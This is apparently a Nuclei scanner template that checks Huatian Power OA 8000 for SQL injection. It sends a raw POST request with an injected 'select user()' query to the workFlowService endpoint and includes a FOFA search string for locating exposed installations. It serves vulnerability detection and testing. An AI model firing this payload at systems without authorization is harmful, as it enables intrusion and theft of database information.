id: huatian-oa-sqli

info:
  name: Huatian Power OA 8000 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000. An attacker can exploit this vulnerability to obtain sensitive database information.
  reference:
    - https://blog.csdn.net/qq_41617034/article/details/124305120
  metadata:
    verified: true
    max-request: 1
    fofa-query: "app=\"华天动力-OA8000\""
  tags: huatian,oa,sqli

http:
  - raw:
      - |
        POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
        Host: {{Hostname}}

        <buffalo-call>
        <method>getDataListForTree</method>
        <string>select user()</string>
        </buffalo-call>

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<list>" ,"<string>user()" ,"<length>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022046e649b3a390ab5ecc9dbc15f938bdf8ffba85630391185f39c45f718af658a8022028feb49952a36ed82f5429e29b29e990d76bca34a26937730c2ded6b66c182b0:922c64590222798bb761d5b6d8e72950